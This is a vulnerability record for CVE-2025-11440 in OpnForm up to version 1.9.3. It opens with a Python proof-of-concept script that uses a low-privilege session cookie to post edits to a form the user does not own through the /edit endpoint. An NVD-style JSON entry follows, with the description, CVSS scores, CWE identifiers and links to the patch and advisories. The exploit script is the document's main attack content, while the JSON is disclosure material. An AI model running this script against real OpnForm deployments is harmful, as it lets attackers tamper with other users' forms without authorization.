CVE-2025-11440

# CVE-2025-11440 - JhumanJ OpnForm Improper Access Controls PoC # Vulnerability: Improper Access Controls in /edit endpoint # Affected: JhumanJ OpnForm <= 1.9.3 import requests TARGET_URL = "http://target-opnform-instance.com" SESSION_COOKIE = "your_session_cookie_here" FORM_ID = "target_form_id" # Step 1: Authenticate with low-privilege credentials session = requests.Session() session.cookies.set("session", SESSION_COOKIE) # Step 2: Attempt to access /edit endpoint without proper authorization # The server fails to verify if the user owns the target form edit_url = f"{TARGET_URL}/edit" # Step 3: Send the crafted request to bypass access control headers = { "Content-Type": "application/x-www-form-urlencoded", "Referer": f"{TARGET_URL}/forms" } # Payload to access/edit a form that the user does not own payload = { "form_id": FORM_ID, "title": "Modified by unauthorized user", "description": "Access control bypassed via CVE-2025-11440" } response = session.post(edit_url, data=payload, headers=headers) if response.status_code == 200: print("[+] Access control bypassed successfully!") print(f"[+] Response: {response.text[:500]}") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text[:500]}")

{"cve": {"id": "CVE-2025-11440", "sourceIdentifier": "[email protected]", "published": "2025-10-08T07:15:32.843", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in JhumanJ OpnForm up to 1.9.3. Impacted is an unknown function of the file /edit. Executing manipulation can lead to improper access controls. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized. This patch is called b15e29021d326be127193a5dbbd528c4e37e6324. Applying a patch is advised to resolve this issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:N/A:N", "baseScore": 4.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}, {"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jhumanj:opnform:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.9.3", "matchCriteriaId": "C896A041-D9C4-42F0-9477-C57E07D6EFF6"}]}]}], "references": [{"url": "https://docs.google.com/document/d/1GUjJA9vUbsXUngAv6ySsbCIhVynf8_djardLZYEDOe0/edit?tab=t.0#heading=h.t78mmp24qqk5", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/JhumanJ/OpnForm/pull/900/commits/b15e29021d326be127193a5dbbd528c4e37e6324", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://vuldb.com/?ctiid.327377", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327377", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.666881", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://docs.google.com/document/d/1GUjJA9vUbsXUngAv6ySsbCIhVynf8_djardLZYEDOe0/edit?tab=t.0#heading=h.t78mmp24qqk5", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}